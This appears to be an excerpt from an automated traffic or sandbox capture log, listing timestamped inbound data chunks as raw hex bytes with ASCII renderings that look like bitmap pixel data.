2023-06-01 10:14:19 UTC	47	IN	Data Raw: f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 9e a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 9e a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f8 a4 a4 a4 f7 a4 a4 a4 f7 a4 a4 a4 f7 a4 a4 a4 f7 a4 a4 a4 f6 a4 a4 a4 f6 a4 9e a4 f5 a4 a4 a4 f4 a4 a4 a4 f3 a4 a4 a4 f2 a4 a4 a4 f1 a4 a4 a4 f0 a4 a4 a4 ef a4 a4 a4 ef a4 a4 a4 ef a4 a4 a4 ef a4 a4 a4 ef a4 a4 9e ef a4 a4 a4 ef a4 a4 Data Ascii:
2023-06-01 10:14:19 UTC	54	IN	Data Raw: ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 9e ff 9e 60 ce ff 19 9e ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 9e ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 9e 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce 9e 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 19 60 ce ff 9e 60 ce ff 19 60 ce ff 19 60 ce ff 19 9e ce ff 19 60 Data Ascii: ``````````````````````````````````````````````````````````````
2023-06-01 10:14:19 UTC	62	IN	Data Raw: ff 19 62 cf ff 9e 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 9e 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 9e cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 9e ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf 9e 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 cf ff 19 62 Data Ascii: bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
2023-06-01 10:14:19 UTC	70	IN	Data Raw: ff 18 63 d0 cf 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 63 d0 0f 18 63 d0 ff 18 63 9e ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 9e 63 d0 ff 18 63 9e ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 d0 ff 18 63 Data Ascii: cccccccccccccccccccccccccccccccc
2023-06-01 10:14:19 UTC	78	IN	Data Raw: ff 17 64 cf ff 17 64 cf ff 17 64 cf ff 17 65 d0 ff 17 65 d0 ff 17 65 d0 ff 17 65 d0 ff 17 65 d0 ff 17 65 d0 ff 17 65 d0 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 9e d1 ff 17 65 9e ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 9e 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 17 65 d1 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: dddeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee
2023-06-01 10:14:19 UTC	86	IN	Data Raw: ff 14 5a b5 ff 14 5a b6 ff 14 5b b7 ff 14 5c b9 ff 14 5c bb ff 14 5d bc 9e 14 5e be ff 15 5f c1 ff 15 9e c3 ff 15 61 c5 ff 15 61 c7 ff 15 63 ca ff 15 63 cb ff 16 64 cd ff 16 64 ce ff 9e 65 d0 ff 16 65 d0 ff 16 65 d0 ff 16 66 d1 ff 16 9e d1 ff 16 66 d2 ff 16 66 d2 ff 16 66 d2 ff 16 66 d2 9e 16 66 d2 ff 16 66 d2 ff 16 66 d1 ff 16 66 d1 ff 16 65 d0 ff 16 65 d0 ff 16 65 d0 ff 16 64 ce ff 16 64 cd ff 15 63 cb ff 15 62 ca 9e 15 62 c8 ff 15 61 c5 ff 15 60 c4 ff 15 5f c1 ff 15 5f c0 ff 14 5e be ff 14 5d bc ff 14 5d bb ff 14 5c ba ff 14 5c b9 ff 14 5b b8 ff 14 5b b8 ff 14 5b b8 ff 14 5c b9 ff 9e 5c b9 ff 14 5c ba ff 14 5d bc ff 14 5d bd ff 14 5e be ff 15 5f c1 ff 15 60 c2 ff 15 60 c4 ff 15 61 c5 ff 15 62 c8 ff 15 62 ca ff 15 63 cb ff 16 64 cd ff 16 65 cf ff 16 65 Data Ascii: ZZ[\\]^_aaccddeeefffffffffeeeddcbba`__^]]\\[[[\\\]]^_``abbcdee
2023-06-01 10:14:19 UTC	94	IN	Data Raw: ff 14 5b b6 ff 14 5d b9 ff 14 5e bd 9e 15 60 c1 ff 15 61 c4 ff 15 62 c7 ff 15 64 ca ff 15 9e cb ff 16 65 ce ff 16 66 cf ff 16 66 d0 ff 16 66 d0 ff 16 67 d1 ff 16 67 d1 ff 16 67 d2 ff 16 67 d2 ff 16 67 d2 ff 16 67 d2 ff 9e 67 d2 ff 16 67 d2 ff 16 67 d2 ff 9e 67 d2 ff 16 67 9e ff 16 67 d1 ff 16 66 d0 ff 16 66 cf ff 9e 65 ce ff 15 64 cb ff 15 63 c9 ff 15 62 c5 ff 15 60 c1 ff 14 5e bd ff 14 5d b9 ff 14 5b b5 ff c3 d5 eb ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff 9e ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff 5c 8a c4 ff 13 58 ae ff 13 5a b3 ff 14 5c b7 ff 14 5e bc ff 15 60 c0 ff 15 61 Data Ascii: []^`abdefffggggggggggggffedcb`^][\XZ\^`a
2023-06-01 10:14:19 UTC	101	IN	Data Raw: ff 15 69 d3 ff 15 69 d2 ff 15 69 d2 ff 15 68 d1 ff 15 68 d1 ff 15 68 d0 ff 15 67 ce ff 14 66 cc ff 14 64 c8 ff 14 63 c4 ff 13 61 c0 ff 9e 5f bc ff 13 5d b7 ff 96 b6 de ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff c2 d5 e9 ff 13 58 ab ff 13 5a b0 ff 13 5d b6 ff 13 5f ba ff 13 61 bf ff 14 63 c3 ff 14 64 c7 ff 14 65 cb ff 15 66 cd ff 15 67 cf ff 15 68 d1 ff 15 68 d1 ff 15 69 Data Ascii: iiihhhgfdca_]XZ]_acdefghhi
2023-06-01 10:14:19 UTC	109	IN	Data Raw: 00 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 9e 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d4 ff 14 6a d3 ff 14 69 d2 ff 14 69 d2 9e 14 68 d0 ff 14 67 ce ff 13 66 cc ff 13 65 c8 ff 13 63 c4 ff 13 61 bf ff 13 5f ba ff 4d 9e 9e ff 9e ff ff ff ff ff ff ff ff ff ff 9e ff ff Data Ascii: jjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjjiihgfeca_M
2023-06-01 10:14:19 UTC	117	IN	Data Raw: ff 13 67 c9 ff 13 68 cc ff 13 69 ce ff 14 6a d1 ff 14 6b d2 ff 14 6b d3 ff 14 6c d4 ff 14 6c d4 ff 14 6c d5 ff 14 6c d5 ff 9e 6c d5 ff 14 6c d5 ff 14 6c d5 ff 14 6c d5 ff 14 6c d5 9e 14 6c d5 ff 14 6c d5 ff 14 6c d5 ff 14 6c d5 ff 14 6c d5 ff 14 6c d5 ff 14 6c d5 ff 14 6c d5 ff 14 6c 9e ff 14 6c d5 ff 14 6c d5 ff 14 6c d5 ff 14 6c d5 ff 14 6c d5 ff 14 6c d5 ff 14 6c d5 ff 14 6c d5 ff 14 6c d5 ff 14 6c d5 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 9e 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ghijkkllllllllllllllllllllllllllll
2023-06-01 10:14:19 UTC	125	IN	Data Raw: ff 13 6b d1 ff 13 6b d2 ff 13 6b d2 ff 13 6b d1 ff 13 6a cf ff 13 69 ce ff 13 68 ca ff 13 66 c7 ff 13 64 9e ff 12 9e be ff 12 60 b8 ff 3c 7c c1 ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff d2 e0 ef ff 11 5c ae ff 11 5e b3 ff 12 61 b9 ff 12 63 be ff 13 65 c3 ff 13 67 c9 ff 13 68 cc ff 13 6a ce ff 13 6b d1 ff 13 6b d3 ff 13 6c d4 ff 13 6d d5 ff 13 6d d5 ff 13 6d d6 ff 13 6d d6 ff 13 6d d6 ff 13 6d d6 ff 13 6d d6 ff 13 6d d6 ff 13 6d d6 ff 13 6d d6 ff 13 6d d6 ff 13 6d Data Ascii: kkkkjihfd`<\|\^aceghjkklmmmmmmmmmmmm
2023-06-01 10:14:19 UTC	133	IN	Data Raw: ff 10 5e b2 ff 95 b7 dc ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 2c 71 b8 ff 11 5f b3 ff 11 62 b8 ff 11 64 be ff 12 66 c2 ff 12 68 c7 ff 12 69 ca ff 12 6b ce ff 12 6c cf ff 13 6d d2 ff 13 6d d3 ff 13 6d d4 ff 13 6d d3 ff 13 6d d2 ff 13 6c d0 ff 12 6b cf ff 9e 6a cc ff 12 68 c9 ff 12 67 c3 ff 11 64 be ff 11 62 ba ff 11 60 b4 ff e1 ea f5 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: ^,q_bdfhiklmmmmmlkjhgdb`
2023-06-01 10:14:19 UTC	140	IN	Data Raw: ff 12 70 d8 ff 12 70 d8 ff 12 70 d8 ff 9e 70 d8 ff 12 70 d8 ff 12 9e d8 ff 12 70 d8 ff 12 70 d8 ff 12 70 d8 ff 12 70 d7 9e 12 70 d7 ff 12 70 d7 ff 12 70 d7 ff 12 70 d7 ff 12 70 d7 ff 12 70 d7 ff 12 70 d7 ff 12 70 d7 ff 12 70 d7 ff 12 70 d7 ff 12 70 d7 ff 12 70 d7 ff 12 6f d6 ff 12 6f d6 ff 12 6f d6 ff 12 6f d5 ff 12 6f d6 ff 12 6e d5 ff 12 6e d4 ff 12 6e d3 ff 12 6d d1 ff 11 6d d0 ff 11 9e ce ff 11 6b cc ff 11 69 ca ff 11 68 c7 ff 11 67 c3 ff 10 65 bf ff 10 64 bc ff 10 62 b8 ff 10 60 b4 ff 1d 68 b4 ff d2 e0 ef ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: pppppppppppppppppppppooooonnnmmkihgedb`h
2023-06-01 10:14:19 UTC	148	IN	Data Raw: 00 00 00 00 00 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 9e 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 9e d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 9e 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d9 ff 12 72 d8 ff 12 72 d8 ff 12 72 d8 ff 12 72 d8 ff 12 71 d7 ff 12 71 d7 ff 12 71 d7 ff 12 71 d6 ff 12 71 d6 ff 12 70 d6 ff 12 70 d6 ff 12 70 d6 ff 12 70 d5 ff 12 70 d5 ff 12 70 d5 ff 12 70 d4 ff 12 70 d4 ff 12 70 d4 ff 12 6f d3 ff 12 9e d2 ff 12 6f d2 ff 11 6e d1 ff 11 6e Data Ascii: rrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrqqqqqpppppppppoonn
2023-06-01 10:14:19 UTC	156	IN	Data Raw: ff 11 73 da ff 11 73 da ff 11 73 da ff 11 73 da ff 11 73 da ff 11 73 da ff 11 73 da ff 11 9e da ff 11 73 da ff 11 73 da ff 11 73 da ff 11 73 da ff 11 73 da ff 11 73 da ff 11 73 da ff 11 73 da ff 11 73 da ff 11 73 da ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 73 da ff 11 73 da ff 11 73 da ff 11 73 da ff 11 73 da ff 11 73 da ff 11 73 da ff 11 73 da ff 11 73 da ff 11 73 da ff 11 73 da ff 11 73 da ff 11 73 da ff 11 73 da ff 11 73 Data Ascii: ssssssssssssssssssssssssssssssss
2023-06-01 10:14:19 UTC	164	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff 76 a6 d3 ff 0e 63 b5 ff 0e 65 ba ff 0e 68 bf ff 0f 6a c4 ff 0f 6c ca ff 0f 6e cd ff 0f 6f d0 ff 10 70 d3 ff 10 71 d5 ff 10 72 d7 ff 10 73 d8 ff 10 73 d9 ff 10 74 da ff 10 74 da ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db 9e 9e 74 db ff 10 74 db 9e 10 74 db ff 10 74 db ff 10 9e db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db 9e 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 db ff 10 74 Data Ascii: vcehjlnopqrssttttttttttttttttttttttttttttttttttttttttt
2023-06-01 10:14:19 UTC	172	IN	Data Raw: ff 0f 74 d8 ff 0f 74 d8 ff 0f 74 d8 ff 0f 74 d7 ff 0f 73 d5 9e 0f 72 d3 ff 0e 71 d2 ff 0e 70 d0 ff 0e 6f cd ff 0e 6e cb ff 0e 6c c7 ff 0e 6a c3 ff 0d 69 bf ff 0d 67 9e ff 0d 65 9e ff 3a 80 c1 ff ef f5 fa ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff 58 93 ca ff 0d 65 b7 ff 0d 67 9e ff 0e 69 c0 ff 0e 6b c5 ff 0e 6d ca ff 0e 6f cd ff 0e 71 d1 ff 0f 72 d3 ff 0f 73 d6 ff 0f 74 d8 ff 0f 74 Data Ascii: ttttsrqponljige:Xegikmoqrstt
2023-06-01 10:14:19 UTC	179	IN	Data Raw: ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ef f5 fa ff a3 c4 e4 ff 2a 79 c1 ff 0d 67 bb ff 0d 69 be ff 0d 6a c0 ff 0e 6b c3 ff 0e 6c c5 ff 0e 6d c8 ff 0e 6e cb ff 0e 6f cd ff 0e 70 ce ff 0e 71 d1 ff 0e 72 d2 ff 0e 72 d3 ff 0f 73 d5 ff 0f 74 d6 ff 0f 74 d7 ff 0f 75 d8 ff 0f 75 d9 ff 0f 75 d9 ff 0f 75 d9 ff 0f 75 d9 ff 0f 75 d8 ff 0f 74 d7 ff 0f 73 d5 ff 0f 73 d4 ff 0e 72 d3 ff 0e 71 d1 ff 0e 70 ce ff 0e 6f cc ff 0e 6e c9 ff 0e 6c c5 ff 0e 6a c1 ff 0d 69 bf ff 0d 67 9e ff 0d 65 b7 ff 48 8a c5 ff ef f5 fa ff ff ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff ff ff ff ff ff ff 9e ff ff ff ff ff Data Ascii: *ygijklmnopqrrsttuuuuuutssrqponljigeH
2023-06-01 10:14:19 UTC	187	IN	Data Raw: ff 0e 79 de ff 0e 79 de ff 0e 79 de ff 0e 79 de ff 0e 9e de ff 0e 79 de ff 0e 79 de ff 0e 79 de ff 0e 79 de ff 0e 79 de ff 0e 79 de ff 0e 79 de 9e 0e 79 de ff 0e 79 de ff 0e 79 de ff 0e 79 de ff 0e 79 de ff 0e 79 de ff 0e 79 de ff 0e 79 de ff 0e 79 dd ff 0e 79 dd ff 0e 79 dd ff 0e 78 dc ff 0e 78 db ff 0e 78 db ff 0e 77 db ff 0e 76 d9 ff 0e 76 d8 ff 0e 75 d6 ff 0e 75 d5 ff 0d 74 d4 ff 0d 73 d3 ff 9e 73 d1 ff 0d 72 d0 ff 0d 72 ce ff 0d 71 cd ff 0d 71 cd ff 0d 70 cc ff 0d 70 cb ff 0d 6f ca ff 0d 6f ca ff 0d 6f ca ff 0d 6f ca ff 0d 6f ca ff 0d 6f ca ff 0d 6f ca 9e 0d 70 cb ff 0d 70 cc ff 0d 70 cc 9e 0d 71 cd ff 0d 71 cd ff 0d 71 cd ff 0d 72 ce ff 0d 72 cf ff 0d 72 d0 ff 0d 73 d1 ff 0d 73 d2 ff 0d 73 d3 ff 0d 74 d4 ff 0e 74 d4 ff 0e 75 d5 ff 0e 75 d5 ff 0e 75 Data Ascii: yyyyyyyyyyyyyyyyyyyyyyxxxwvvuutssrrqqppooooooopppqqqrrrsssttuuu
2023-06-01 10:14:19 UTC	195	IN	Data Raw: ff 0d 7a de ff 0d 7a de ff 00 00 00 00 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9e 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 9e 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a de ff 0d 7a Data Ascii: zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz
2023-06-01 10:14:19 UTC	203	IN	Data Raw: ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df 9e 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 0d 7b df ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 9e 00 00 00 00 00 00 00 Data Ascii: {{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{
2023-06-01 10:14:19 UTC	211	IN	Data Raw: ff 0b 70 c7 ff 0b 72 ca ff 0b 74 cd ff 0b 75 cf ff 0b 76 d2 ff 0b 77 d5 ff 0c 78 d6 ff 0c 79 d8 ff 0c 7a da ff 0c 7b dc ff 0c 7b dd ff 0c 7c dd ff 0c 7c de ff 0c 7c de ff 0c 7d df ff 0c 7d df ff 0c 7d df ff 0c 7d e0 ff 0c 7d e0 9e 0c 9e e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 9e 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 9e e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 9e e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d e0 ff 0c 7d Data Ascii: prtuvwxyz{{\|\|\|}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}
